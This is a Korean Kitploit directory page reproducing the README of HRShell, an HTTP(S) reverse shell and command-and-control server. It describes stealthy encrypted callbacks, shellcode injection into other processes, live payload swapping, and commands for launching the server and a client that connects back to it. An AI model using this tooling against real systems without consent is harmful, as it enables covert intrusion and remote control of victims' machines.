Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
HRShell — HRShell은 flask로 구축된 HTTPS/HTTP 리버스 셸입니다. 다양한 기능과 역량을 갖춘 고급 C2 서버입니다. | Kitploit
도구/GitHubGitHub/chrispetrou/hrshell
Encryption/Decryption ToolsExploitationReverse EngineeringShellcodePost-ExploitationWeb SecurityPenetration TestingCommand and ControlRed TeamingPayload DevelopmentArchived
GitHub
248694년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
chrispetrou/hrshell

HRShell

HRShell은 flask로 구축된 HTTPS/HTTP 리버스 셸입니다. 다양한 기능과 역량을 갖춘 고급 C2 서버입니다.

저장소 보기
HRShell: Flask로 구축된 고급 HTTP(S) 리버스 셸

GPLv3 license version Known Vulnerabilities



__HRShell__은 Flask로 구축된 HTTPS/HTTP 리버스 셸이며 __python 3.x__와 호환됩니다. client.py는 다음에서 성공적으로 테스트되었습니다:

  • Linux ubuntu 18.04 LTS, Kali Linux 2019.3
  • macOS Mojave/Catalina
  • Windows 7/10

server.py는 Unix 시스템과 호환됩니다 (Windows 지원은 곧 제공 예정...).

기능

  • 은밀함
  • TLS 지원 🔑
    • 즉석 인증서 사용 또는
    • 인증서/키 쌍 지정 (자세한 내용은 아래 참조...)
  • 셸코드 인젝션 💉 (자세한 내용은 아래 참조...)
    • 현재 실행 중인 프로세스의 스레드/생성된 프로세스에 셸코드 인젝션
      • 현재 지원되는 플랫폼:
        • Windows x86
        • Unix x86
        • Unix x64
    • 또는 PID를 지정하여 다른 프로세스에 셸코드 인젝션 (migrate <PID>)
      • 현재 지원되는 플랫폼:
        • Windows x86
        • Windows x64
  • 서버에서 셸코드를 실시간으로 설정/수정 가능 (자세한 내용은 아래 참조...)
  • 클라이언트의 프록시 지원.
  • 디렉터리 탐색 (cd 명령어 및 변형).
  • Unix 시스템에서 사용 가능한 대화형 history 명령어.
  • download/upload/screenshot/hex 명령어 사용 가능.
  • 파이프라인(|) 및 체인 명령어(;) 지원
  • 모든 비대화형 명령어 지원 (예: gdb, top 등).
  • 서버는 HTTP 및 HTTPS 모두 지원.
  • 현재까지 두 가지 내장 서버 🌐 지원: flask 내장 및 tornado-WSGI, 다른 프로덕션 서버(예: gunicorn 및 Nginx)와도 호환 가능.

*버전 변경 사항은 CHANGELOG를 확인하세요.

세부 사항


은밀함 :shipit:

HRShell은 클라이언트와 서버 간 통신 방법으로 HTTP(S) 프로토콜을 사용하므로 은밀합니다. 또한 TLS를 사용할 때 트래픽이 암호화됩니다. 클라이언트 측에 CERT가 하드코딩되지 않은 경우(이는 가능한 옵션임) upload 명령어를 사용하지 않으면 client.py는 디스크에 전혀 접촉하지 않습니다.

TLS 🔑

서버 측: --http 옵션이 지정되지 않은 경우, 기본적으로 server.py는 즉석 인증서를 사용하는 HTTPS입니다. 즉석 인증서는 Flask 내장 기능이기 때문입니다. 하지만 -s tornado 옵션이 지정되어 서버가 TLS를 사용하도록 하려면 --cert 및 --key 옵션을 다음과 같이 지정해야 합니다:

root@kitploit:~
python server.py -s tornado --cert /path/cert.pem --key /path/key.pem

"진짜" 인증서를 사용하거나, 인증서/키 쌍을 생성하는 다른 방법으로는 예를 들어 mkcert를 사용하거나 openssl을 직접 사용하는 방법이 있습니다:

root@kitploit:~
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365

Flask 서버에서도 인증서/키 쌍을 사용할 수 있습니다:

root@kitploit:~
python server.py --cert /path/cert.pem --key /path/key.pem

⚠️ 서버가 TLS를 사용하는 경우, 설계상 클라이언트는 http://...를 사용하여 서버에 연결할 수 없으며 반드시 https를 명시적으로 사용해야 합니다.

클라이언트 측: 기본적으로 클라이언트의 SSL _확인_은 비활성화되어 있습니다. 단, 다음 경우는 예외입니다:

  • --cert 매개변수가 지정된 경우, 예:
    root@kitploit:~
    python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem
    
  • 또는 기본값 None 대신 CERT 변수에 유효한 인증서가 미리 설정된 경우, 예:
    root@kitploit:~
    CERT = """
    -----BEGIN CERTIFICATE-----
    MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
    BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
    VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
    ...
    -----END CERTIFICATE-----
    """
    
    이 경우 client.py는 즉석에서 숨겨진 .cert.pem 파일을 생성하려고 시도하고 이를 대신 사용합니다.

⚠️ 클라이언트에서 SSL 확인이 기본적으로 비활성화되어 있다고 해서 TLS도 비활성화된다는 의미는 절대 아닙니다. 서버에서 TLS를 사용하면 TLS가 활성화됩니다 - 따라서 TLS는 전적으로 서버에 달려 있습니다. 클라이언트의 --cert 옵션은 단지 서버-클라이언트가 암호화된 세션을 가질 수 있는 대안적인 방법일 뿐입니다.

셸코드 인젝션 💉

다음 두 명령어를 각각 사용하여 셸코드 인젝션의 두 가지 "모드"가 있습니다:

  1. migrate <PID>: 이 명령어를 사용하면 PID를 지정하여 다른 프로세스의 메모리 공간에 셸코드를 주입할 수 있습니다. 현재 이 명령어는 Windows x86/x64 플랫폼에서만 적용 가능합니다!
  1. inject shellcode: 이 명령어를 사용하면 현재 프로세스의 새 스레드(또는 Unix 시스템에서는 생성된 프로세스)를 만들고 해당 메모리 공간에 셸코드 인젝션이 발생합니다. 결과적으로 HTTP(S) 셸은 인젝션의 영향을 받지 않습니다. 이 명령어를 적용할 수 있는 플랫폼은: Unix x86/x64, Windows x86 플랫폼입니다!
참고 사항
  • 프로세스에 인젝션이 발생하는 경우, 프로세스 권한이 매우 중요한 역할을 합니다. 적절한 권한이 부족하여 모든 프로세스에 인젝션할 수 있는 것은 아닙니다.

셸코드 설정/수정

클라이언트가 실행할 셸코드 유형을 지정/설정하는 두 가지 방법이 있습니다:

  • client.py 스크립트에서 shellcode 변수를 유효한 셸코드로 미리 설정하거나
  • set shellcode <shellcode-id> 명령어를 사용하여 실시간으로 설정합니다. 이 명령어를 사용하면 서버 측에서 클라이언트 측의 셸코드를 원하는 만큼 업데이트할 수 있습니다!

첫 번째 방법은 매우 간단합니다. 그러나 두 번째 더 편리한 방법(이미 지정된 셸코드를 수정할 수도 있음)을 사용하려면 shellcodes/utils.py 스크립트에 원하는 셸코드가 포함되도록 설정해야 합니다. 이 스크립트에는 이를 수행하는 방법의 예제가 포함되어 있습니다.

💡 server.py를 실행한 후에도 shellcodes/utils.py 스크립트를 원하는 만큼 수정/업데이트할 수 있습니다. server.py는 동적으로 가장 최근 버전을 사용하기 때문입니다. 이렇게 하면 이동 중에도 셸코드를 설정하고 수정할 수 있습니다.

사용 가능한 명령어:

특수 명령어:

다른 명령어는 _예: gdb, top 등_과 같이 대화형이 아닌 경우 모두 지원됩니다. 또한 python server.py -h 또는 python client.py -h를 입력하면 서버 및 클라이언트에서 사용 가능한 인수에 대한 정보를 얻을 수 있습니다.

참고: 클라이언트가 서버에 연결되어 있는 상태에서 서버를 종료하려면 CTRL+C를 누르기 전에 exit 명령어를 사용하여 연결을 닫아야 합니다.

사용자 정의 명령어 생성

클라이언트 측:

사용자 정의 명령어를 생성하려면 일반적으로:

  • 클라이언트 측에서 명령어를 설명하는 정규식 규칙을 정의해야 함
  • 해당 명령어를 처리하는 코드를 클라이언트 측에서 elif 문으로 추가해야 함

서버 측:

명령어가 서버 측에 새 엔드포인트가 필요하다면:

  • 엔드포인트 정의:
    root@kitploit:~
    @app.route('/custom_endpoint/<arg>')
    def custom_endpoint(arg):
        """
        필요한 경우 문서화
        """
        ...
        return ...
    
  • 그런 다음 handleGET()을 수정하여 클라이언트를 해당 엔드포인트로 리디렉션:
    root@kitploit:~
    @app.route('/')
    def handleGET():
        ...
        return redirect(url_for('custom_endpoint',
            arg=...)
            )
    
  • handlePOST()를 적절히 수정하여 결과 표시를 처리합니다.

스크립트 인수

두 스크립트(server.py 및 client.py)는 인수를 통해 사용자 지정할 수 있습니다:

server.py

root@kitploit:~
$ python server.py -h
usage: server.py [-h] [-s] [-c] [--host] [-p] [--http] [--cert] [--key]

server.py: 고급 기능을 갖춘 HTTP(S) 리버스 셸 서버.

인수:
  -h, --help      도움말 메시지를 표시하고 종료
  -s , --server   사용할 HTTP(S) 서버 지정 (기본값: flask).
  -c , --client   지정된 클라이언트/IP에서만 연결 수락.
  --host          사용할 IP 지정 (기본값: 0.0.0.0).
  -p , --port     사용할 포트 지정 (기본값: 5000).
  --http          TLS 비활성화 및 HTTP 사용.
  --cert          사용할 인증서 지정 (기본값: None).
  --key           사용할 해당 개인 키 지정 (기본값: None).

client.py

root@kitploit:~
$ python client.py -h
usage: client.py [-h] [-s] [-c] [-p]

client.py: 고급 기능을 갖춘 HTTP(S) 클라이언트.

인수:
  -h, --help      도움말 메시지를 표시하고 종료
  -s , --server   연결할 HTTP(S) 서버 지정.
  -c , --cert     사용할 인증서 지정.
  -p , --proxy    사용할 프록시 지정 [형식: host:port]

📦 요구 사항:

서버 요구 사항을 설치하려면:

root@kitploit:~
pip install -r requirements.txt --upgrade --user

📌 TODO

  • 더 많은 명령어와 기능 추가.
  • 잠재적 버그 수정.

💭 기여 및 피드백

피드백과 기여를 환영합니다. 버그를 발견하거나 기능 요청이 있으면 이슈를 열어 주시면 검토 후 수정하도록 하겠습니다.

면책 조항

이 도구는 테스트 및 학술 목적으로만 사용되며 엄격한 동의가 있는 경우에만 사용할 수 있습니다. 불법적인 목적으로 사용하지 마십시오! 모든 관련 지역, 주 및 연방 법률을 준수하는 것은 최종 사용자의 책임입니다. 개발자는 이 도구 및 소프트웨어로 인한 오용이나 피해에 대해 어떠한 책임도 지지 않습니다.

크레딧 및 참고 문헌

  • Seitz J. Gray Hat Python: Python programming for hackers and reverse engineers. no starch press; 2009 Apr 15.
  • PyShellCode
  • 여기에서 찾은 훌륭한 기사.
  • 클라이언트의 hexdump 함수는 이 훌륭한 gist에서 가져왔습니다.
  • HRShell 로고는 fontmeme.com에서 제작되었습니다!

라이선스

이 프로젝트는 GPLv3 라이선스 하에 제공됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.

도구 다운로드
  • server.py와 client.py 모두 쉽게 확장 가능.
  • 대부분의 기능이 서버의 엔드포인트 설계에서 비롯되므로 다른 언어(예: Java, GO 등)로 클라이언트를 작성하기 매우 쉬움.